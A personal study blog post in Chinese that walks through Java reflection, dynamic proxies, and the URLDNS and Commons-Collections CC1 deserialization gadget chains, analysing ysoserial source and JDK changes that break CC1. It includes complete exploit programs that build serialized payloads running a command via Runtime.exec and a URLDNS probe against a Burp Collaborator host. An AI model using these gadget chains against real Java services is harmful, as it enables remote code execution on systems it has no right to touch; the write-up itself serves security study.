Java反射再学习、动态代理(未学透)、CC1……
Java反射 上次只是跟着视频打了一遍代码,但是很多都还不懂,所以这次就来仔细认识一下
参考
Class 1.Class类
每加载一种class
,JVM就会创建一个Class
,也就说JVM持有的每个Class实例都指向一个数据类型,而如果在类中有静态初始化器的话,JVM必然会执行该类的静态代码段:
1 2 3 public final class Class <T > {}
Class
里面存储着一个class
的所有信息,可以直接去Java里面查看一些属性和方法
1 2 3 4 5 6 public static void main (String[] args) { Class c = String.class; System.out.println(c.getName()); }
getName
|getMethod
|getMethods
|getClassLoader
……
getName()
获取类名
1 2 3 4 5 6 7 8 9 10 11 12 13 public static void main(String [] args) { Class c = String .class ; System .out .println (c .getName ()); } // java .lang .String public static void main (String [] args ) throws Exception { Class c = Test .class ; String s = ""; System .out .println (c .getName ()); } // demo .Test
getMethod(String)
获取其中一个方法
getMethods()
返回带有所有方法的数组
1 2 3 4 5 6 7 8 9 10 11 12 13 public static void main (String[] args) throws Exception { Class c = Test.class; String s = "" ; System.out.println(c.getMethod("exp" )); } public static void main (String[] args) throws Exception { Class c = Test.class; String s = "" ; System.out.println(c.getMethods()[1 ]); }
getClass
获取类 | forName
当知道类的全名的时候
1 2 3 4 5 6 7 8 public static void main (String[] args) throws Exception { Class c = Test.class; System.out.println(c.toString()); Class c1 = Class.forName("demo.Test" ); System.out.println(c1.toString()); }
getModifiers()
返回类、属性、方法的修饰符
修饰符
对应的int类型
public
1
private
2
protected
4
static
8
final
16
synchronized
32
volatile
64
transient
128
native
256
interface
512
abstract
1024
strict
2048
1 2 3 4 5 6 public static void main (String[] args) throws Exception { Class c = Test.class; String s = "" ; System.out.println(c.getModifiers()); }
newInstance()
可以实例化类 ,但是只会调用类的无参构造方法
1 2 3 4 5 6 7 8 9 public static void main (String[] args) throws Exception { Test t1 = new Test(); Class c = t1.getClass(); Test test = (Test) c.newInstance(); test.exp(); System.out.println(c.newInstance()); Class c1 = Class.forName("demo.Test" ); System.out.println(c1.toString()); }
getField(String)
| getDeclareField(String)
|getFields()
获取由public修饰的属性 | getDeclaredFields()
获取所有属性
getConstructor
| getConstructors
| getDeclaredConstructor
| getDeclaredConstructors
可以利用构造方法进行实例化
反射 1.实例化
这⾥也需要注意⼀点,在JDK1.9往上,不再使⽤newInstance()。
1 2 3 4 5 6 7 8 9 10 11 Class.forName("" ); Class.forName("" ).newInstance(); Test test = new Test(); Class cl = test.getClass(); cl.newInstance(); cl.getConstructor().newInstance();
2.调用方法
1 2 3 4 5 Test test = new Test(); Class cl = test.getClass(); Method method = cl.getMethod("exp" ); method.invoke(cl.getConstructor().newInstance());
1 2 3 4 5 Test test = new Test(); Class cl = test.getClass(); Method method = cl.getMethod("exp" , String.class); method.invoke(cl.getConstructor().newInstance(),"calc" );
3.访问私有(属性、方法) 关键:setAccessible()
|getDeclared
私有属性:
1 2 3 4 5 Test test = new Test(); Class cl = test.getClass(); Field field = cl.getDeclaredField("score" ); field.setAccessible(true ); field.set(cl.newInstance(),"aaa" );
私有方法:
1 2 3 4 5 Test test = new Test(); Class cl = test.getClass(); Method method = cl.getDeclaredMethod("exp" , String.class); method.setAccessible(true ); method.invoke(cl.getConstructor().newInstance(),"calc" );
4.命令执行方法 Runtime
1 2 3 4 5 Class cl = Class.forName("java.lang.Runtime" ); Method method = cl.getMethod("exec" , String.class); Method method1 = cl.getMethod("getRuntime" ); Object o = method1.invoke(cl); method.invoke(o, "calc" );
ProcessBuilder
ProcessBuilder通过实例化的时候传入command
调用start
方法进行命令执行
1 2 3 Class cl = Class.forName("java.lang.ProcessBuilder" ); cl.getMethod("start" ).invoke(cl.getConstructor(List.class).newInstance(Arrays.asList("calc" )));
varargs
可变长参数,用于当我们想利用ProcessBuilder的另一个构造方法的时候
P神如是说:
1 2 clazz.getMethod("start" ).invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc" }}));
- 动态代理 Java中通常会有静态代理、动态代理和cglib代理
静态代理 就是我们最常用的,利用implements
关键字创建实现类实现某一个接口,然后再通过实例化该类从而实现对接口的调用,有时也会通过创建另一个代理类实现对前一个类的调用
例如:
1 2 3 public interface TestIns { void test () ; }
1 2 3 4 5 6 7 8 9 10 11 12 public class Test implements TestIns { @Override public void test () { System.out.println("test" ); } public static void main (String[] args) { TestIns testIns = new Test(); testIns.test(); } }
而动态代理 并不需要创建代理类,可以通过JDK提供的Proxy.newProxyInstance()
和InvocationHandler
实现实例化接口,调用接口的类
例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public class TestTwo { public static void main (String[] args) { InvocationHandler handler = new InvocationHandler() { @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { if (method.getName().equals("test" )){ System.out.println("ttest" ); } return null ; } }; TestIns testIns = (TestIns) Proxy.newProxyInstance( TestIns.class.getClassLoader(), new Class[] {TestIns.class}, handler); testIns.test(); } } interface TestIns { void test () ; }
那么现在来试着跟进了解一下Proxy.newProxyInstance
和InvocationHandler
InvocationHandler
是由代理实例的调用处理程序实现的接口。每个代理实例都有一个关联的调用处理程序。在代理实例上调用方法时,方法调用将被编码并发送到其调用处理程序的invoke方法。按照个人的理解,即可以在InvocationHandler里面对接口的方法进行重载或者其他操作。
Proxy.newProxyInstance
的定义(参数分别是类加载器、一个实例以及一个InvocationHandler:
1 public static Object newProxyInstance (ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)
参考 暂时审计java的代码真的理解不能,记号!!!
Map/HashMap……
因为对Map类不熟悉的话 很难真的懂下面的链子,所以就先浅浅了解一下
Map
是一个接口也可说是集合类,其中<>代表为泛型,而Map为键值对的集合,其中每一个键映射到一个值
1 public interface Map <K , V >
基本方法:
1 2 3 4 5 6 7 8 9 10 int size () ; boolean isEmpty () ; boolean containsKey (Object key) ; boolean containsValue (Object value) ; V get (Object key) ; V put (K key, V value) ; V remove (Object key) ; void clear () ; int hashCode () ; ……
而就像上面讲到的一样,HashMap
就是接口Map
的一个实现类,在里面实现了Map
的方法
HashMap
好几个内部类现在就先不看了,继续看后面的
有四个构造方法HashMap
1 2 3 4 5 public HashMap (int initialCapacity, float loadFactor) { …… this .loadFactor = loadFactor; this .threshold = tableSizeFor(initialCapacity); }
1 2 3 public HashMap (int initialCapacity) { this (initialCapacity, DEFAULT_LOAD_FACTOR); }
1 2 3 public HashMap () { this .loadFactor = DEFAULT_LOAD_FACTOR; }
1 2 3 4 public HashMap (Map<? extends K, ? extends V> m) { this .loadFactor = DEFAULT_LOAD_FACTOR; putMapEntries(m, false ); }
put
方法,利用putValue
实现
1 2 3 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
小结1:因为跟着走了一下,所以对这个集合类有了大概的了解,所以就先看到这里,等之后遇到新的方法的时候再记录到这里(鸽
URL DNS链 再再再次来走一遍URLDNS链!!!!!
urldns链子主要是在反序列化的时候触发HashMap
的readObject
方法,触发hash
函数,从而可以触发URL
的hashCode
方法触发DNS请求,通常用来验证题目是否存在反序列化漏洞
ysoserial
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package ysoserial.payloads;import java.io.IOException;import java.net.InetAddress;import java.net.URLConnection;import java.net.URLStreamHandler;import java.util.HashMap;import java.net.URL;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;@SuppressWarnings({ "rawtypes", "unchecked" }) @PayloadTest(skip = "true") @Dependencies() @Authors({ Authors.GEBL }) public class URLDNS implements ObjectPayload <Object > { public Object getObject (final String url) throws Exception { URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); URL u = new URL(null , url, handler); ht.put(u, url); Reflections.setFieldValue(u, "hashCode" , -1 ); return ht; } public static void main (final String[] args) throws Exception { PayloadRunner.run(URLDNS.class, args); } static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection (URL u) throws IOException { return null ; } protected synchronized InetAddress getHostAddress (URL u) { return null ; } } }
因为链子已经清楚,是反序列化的时候调用HashMap
的readObject
方法,所以我们可以先直接看HashMap
首先我们是把url当作key给HashMap的,所以可以只看最后的一段内容,因为前面都不会涉及到key,然后我们可以发现,在putvalue
的时候调用了hash函数
1 2 3 4 5 6 7 for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); }
hash函数里面重新给h赋值,并且调用key的hashCode方法,而我们已经知道是URL.hashCode(),可以直接去看看
1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
如果hashCode
的值不为-1,则直接返回,否则跳转到另一个hashCode
方法
1 2 3 4 5 6 7 public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; }
这里有getHostAddress
方法,参数为我们传入的url,如果我们传入的不是IPV4的格式就会调用getByName
,从而在getByName
时候造成对url进行DNS解析请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 protected InetAddress getHostAddress (URL u) { return u.getHostAddress(); } synchronized InetAddress getHostAddress () { if (hostAddress != null ) { return hostAddress; } if (host == null || host.isEmpty()) { return null ; } try { hostAddress = InetAddress.getByName(host); } catch (UnknownHostException | SecurityException ex) { return null ; } return hostAddress; }
注意:
1.当一开始URL的hashCode为-1的时候也会自动发生DNS请求,所以在URLStreamHandler handler = new SilentURLStreamHandler();
重写getHostAddress
,将handler传给url,使得一开始执行getHostAddress方法的时候并不会发现DNS请求,从而防止了一开始发生DNS请求,但是handle
又是为transient
类型,在序列化的时候不参与,所以后面并不会影响反序列化的时候调用我们需要的getHostAddress
方法
2.而后面又在Reflections.setFieldValue(u, "hashCode", -1);
中设置hashCode为-1,实现在反序列化之前强制hashCode
为-1,从而后面的getHostAddress方法可以调用
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class SerializeTest { public static void serialize (Object obj) throws IOException { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("output.txt" )); os.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream os = new ObjectInputStream(new FileInputStream(Filename)); Object obj = os.readObject(); return obj; } public static void main (String[] args) throws Exception { HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>(); URL url = new URL("http://zy1ok3czhtt8z7qmwpi4xkxiy942sr.burpcollaborator.net" ); Class c = url.getClass(); Field field = c.getDeclaredField("hashCode" ); field.setAccessible(true ); field.set(url,1223 ); hashMap.put(url,1 ); field.set(url,-1 ); serialize(hashMap); unserialize("output.txt" ); } }
后记:又过了一遍之后确实比第一遍会更明白一些,但是还有有着一种悬浮感(?,如果硬是要说也是能把师傅们对于这个链子的解析说出来,但是自己却不一定真的完全能理解其中的点,感觉是比较细节的、底层的知识还是不够,继续学习吧!
CC1 (jdk<8u71
因为ysoserial的payload实在有点难以理解,所以先跟P神的链子吧
1 2 3 4 5 6 7 8 9 10 11 12 13 public class CommonCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc" }),}; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null ,transformerChain); outerMap.put("test" , "xxxx" ); } }
Transformer
是一个接口,方法返回值类一个类
1 2 3 public interface Transformer { Object transform (Object var1) ; }
ConstantTransformer
是实现Transformer
和Serializable
接口的类,在构造的时候传入一个类并在重载接口的方法的时候将这个类返回,所以上面的new ConstantTransformer(Runtime.getRuntime())
会返回Runtime.getRuntime()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public class ConstantTransformer implements Transformer , Serializable { static final long serialVersionUID = 6374440726369055124L ; public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null ); private final Object iConstant; public static Transformer getInstance (Object constantToReturn) { return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn)); } public ConstantTransformer (Object constantToReturn) { this .iConstant = constantToReturn; } public Object transform (Object input) { return this .iConstant; } public Object getConstant () { return this .iConstant; } }
InvokerTransformer
,构造函数里传入的值为方法名、参数类型以及参数,然后在重载Transformer
的方法的时候进行对应的函数调用,实现任意方法调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public class InvokerTransformer implements Transformer , Serializable { ····· private InvokerTransformer (String methodName) { this .iMethodName = methodName; this .iParamTypes = null ; this .iArgs = null ; } public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } else { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); ······ } } }
ChainedTransformer
将多个transformers
串联起来,即前一个的返回值即为下一个的参数
1 2 3 4 5 6 7 8 9 10 11 public ChainedTransformer (Transformer[] transformers) { this .iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; }
再来看最后几行的,先去看一下decorate
,只是进行一个类的实例和属性初始化
1 2 3 Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null ,transformerChain); outerMap.put("test" , "xxxx" );
1 2 3 4 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
1 2 3 4 5 6 7 8 public AbstractMapDecorator (Map map) { if (map == null ) { throw new IllegalArgumentException("Map must not be null" ); } else { this .map = map; } }
最后通过调用put
传入新的映射在transformValue
产生回调
1 2 3 4 5 public Object put (Object key, Object value) { key = this .transformKey(key); value = this .transformValue(value); return this .getMap().put(key, value); }
1 2 3 4 protected Object transformValue (Object object) { return this .valueTransformer == null ? object : this .valueTransformer.transform(object); }
实现调用ChainedTransformer.transform
,之后根据this.iTransformers[i]
依次调用ConstantTransformer.transform
|InvokerTransformer.transform
1 2 3 4 5 6 7 public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; }
1 2 3 4 5 6 7 8 9 10 11 public Object transform (Object input) { if (input == null ) { return null ; } else { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); }
AnnotationInvocationHandler 虽然上面的demo在本地运行的时候是可以的,但是我们最终是要通过反序列化去实现任意代码执行的,所以我们要通过readObject
去实现回调,那么这里就是用到了AnnotationInvocationHandler
类
直接来看一下这个类的readObject
方法(8u66
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); while (var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue( (new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]" ) ).setMember( (Method)var2.members().get(var6) )); } } } }
获取我们传入的被TransformedMap
修饰过的Map,以及用来保证var7
不为空的类。遍历Map里面的我们写入的代码,随后在setValue中触发TransformedMap
的transform
,从而实现任意代码执行
这里有个小问题 :setValue是怎么实现触发transform的,虽然打断点之后走比较明显,但是还是有点不能理解,然后发现用反射传入的类在反序列化的时候,打断点调试的时候是不会走到这个类里面的,但是会到抽象类里面调用他执行的方法 感觉还是java基础不行(已解决
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 package ysoserial.payloads;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.util.HashMap;import java.util.Map;public class CC1ForP2 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , new Class[0 ]} ), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , new Object[0 ]} ), new InvokerTransformer("exec" , new Class[]{String.class}, new String[]{"calc" } ), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value" , "xxxx" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); } }
LazyMap 在ysoserial中使用的是LazyMap对transformerChain
进行修饰,因为P神的demo已经能大概看懂了,那么现在直接去看ysoserial的CC1吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 public class CommonsCollections1 extends PayloadRunner implements ObjectPayload <InvocationHandler > { public InvocationHandler getObject (final String command) throws Exception { final String[] execArgs = new String[] { command }; final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1 ) }); final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, execArgs), new ConstantTransformer(1 ) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers" , transformers); return handler; } public static void main (final String[] args) throws Exception { PayloadRunner.run(CommonsCollections1.class, args); } public static boolean isApplicableJavaVersion () { return JavaVersion.isAnnInvHUniversalMethodImpl(); } }
和P神的demo主要区别就在lazyMap
,还有这里利用了动态代理(对象代理)(如果我没理解错,应该就是前面的动态代理
然后我们也可以看出来TransformedMap
和LazyMap
的区别就在于,TransformedMap
通过put映射而产生回调,但是LazyMap
很明显就不是,那么现在来具体分析一下LazyMap
的工作流程(雾
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 public class LazyMap extends AbstractMapDecorator implements Map , Serializable { private static final long serialVersionUID = 7990956402564206740L ; protected final Transformer factory; public static Map decorate (Map map, Factory factory) { return new LazyMap(map, factory); } public static Map decorate (Map map, Transformer factory) { return new LazyMap(map, factory); } protected LazyMap (Map map, Factory factory) { super (map); if (factory == null ) { throw new IllegalArgumentException("Factory must not be null" ); } else { this .factory = FactoryTransformer.getInstance(factory); } } protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException("Factory must not be null" ); } else { this .factory = factory; } } private void writeObject (ObjectOutputStream out) throws IOException { out.defaultWriteObject(); out.writeObject(super .map); } private void readObject (ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); super .map = (Map)in.readObject(); } public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } } }
我们可以发现LazyMap
会在get方法会在判断当map不包含key
的时候会调用transform
方法,并且传入key当作参数,而之前的链子就是调用transform
之后达到命令执行的,那么显而易见只要多次调用get方法就应该可以实现
但是要怎么调用get
方法呢
我们跟进,试着读一下代码
1 2 3 final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);Reflections.setFieldValue(transformerChain, "iTransformers" , transformers);
在Gadgets
中利用动态代理实例化AnnotationInvocationHandler从而动态代理且自动调用AnnotationInvocationHandler
重写的invoke方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception { return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); } public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception { return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); } public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) { final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1 ); allIfaces[ 0 ] = iface; if ( ifaces.length > 0 ) { System.arraycopy(ifaces, 0 , allIfaces, 1 , ifaces.length); } return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); }
AnnotationInvocationHandler
的invoke
方法,我们可以发现在这里会调用LazyMap
的get方法
但是这里的参数是怎么传进去的呢? 打断点调试了一下发现是通过entrySet调用invoke的,但是哪里调用的entrySet从而导致调用的invoke呢? (已解决
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public Object invoke (Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); …… switch (var7) { case 0 : return this .toStringImpl(); case 1 : return this .hashCodeImpl(); case 2 : return this .type; default : Object var6 = this .memberValues.get(var4); if (var6 == null ) { throw new IncompleteAnnotationException(this .type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0 ) { var6 = this .cloneArray(var6); } return var6; } } } }
因为比较菜,所以就打断点之后写下步骤:
1.先进入LazyMap的readObject、decorate,使得this.factory=transformerChain;super.map=HashMap()
2.super.map = (Map)in.readObject()
,打断可以发现,下一个反序列化的类应该是AnnotationInvocationHandler
,但是由于是通过反射实例化的,所以没有直接显示出来(大概),进入AnnotationInvocationHandler
的readObject,在Iterator var4 = this.memberValues.entrySet().iterator();
调用到了LazyMap.entrySet()
之后转到entrySet
3.之后调用AnnotationInvocationHandler
的invoke方法,其中方法名为entrySet
,this.memberValues=LazyMap
,从而调用LazyMap.get
(之后的就和之前的差不多了,不过这其中有些比较具体的步骤都是我自己打断点调试猜测的,所以如果不正确期待师傅们的指正
P神更新的demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC1 {public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] {String.class,Class[].class }, new Object[] { "getRuntime" ,new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] {Object.class,Object[].class }, new Object[] { null , newObject[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class}, new String[] { "calc.exe" }),}; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},handler); handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
对比之后可以发现ysoserial的transformers多了new ConstantTransformer(1)
ysoserialPOC的最后才将执行命令的Transformer数组设置到transformerChain中,原因是避免本地生成序列化流的程序执行到命令
局限 CC1并不适用于高版本的jdk中,在8u321中测试的时候,cc1就不可以了,浅浅分析一下原因
按照ysoserial的Gadget来,最主要部分就是前面调用LazyMap.get的过程,那么我们可以去看一下AnnotationInvocationHandler
1 2 3 4 5 ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get()
我们可以发现AnnotationInvocationHandler.readObject()
的代码变了(对比
这里删去了s.defaultReadObject()
,增加了GetField var2 = var1.readFields()
,使得在后面获取memberValues
的时候获取的值并不是我们需要的LazyMap
,从而不能实现invoke的调用
1 Error:java.lang.Override missing element entrySet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { GetField var2 = var1.readFields(); Class var3 = (Class)var2.get("type" , (Object)null ); Map var4 = (Map)var2.get("memberValues" , (Object)null ); AnnotationType var5 = null ; try { var5 = AnnotationType.getInstance(var3); } catch (IllegalArgumentException var13) { throw new InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map var6 = var5.memberTypes(); LinkedHashMap var7 = new LinkedHashMap(); String var10; Object var11; for (Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) { Entry var9 = (Entry)var8.next(); var10 = (String)var9.getKey(); var11 = null ; Class var12 = (Class)var6.get(var10); if (var12 != null ) { var11 = var9.getValue(); if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) { var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]" )).setMember((Method)var5.members().get(var10)); } } } AnnotationInvocationHandler.UnsafeAccessor.setType(this , var3); AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this , var7); }
小结
意识流碎碎念
真的花了很长的时间来看CC1,一方面是在审计java的适应期,一方面是大部分时间在上课和补作业(不敢在上课玩电脑的屑
审计下来因为对java的不熟悉,所以有时候一晚上的时间也没能看懂多少,处于一种云里雾里的状态,不过到后来对类越来越熟悉之后就顺畅多了,虽然还是留下了亿点点问题
虽然特地学了一下动态代理,但是在走LazyMap
链的时候,还是因为不能理解而卡在怎么才能调用AnnotationInvocationHandler#invoke
上好一会
虽然算是走了一遍,但是感觉还是得再过几遍,不过也要开始看下一个Gadget了!(
最后感想,P神不愧是神!
再次特别感谢P神、AmiaaaZ 师傅(虽然师傅并不认识我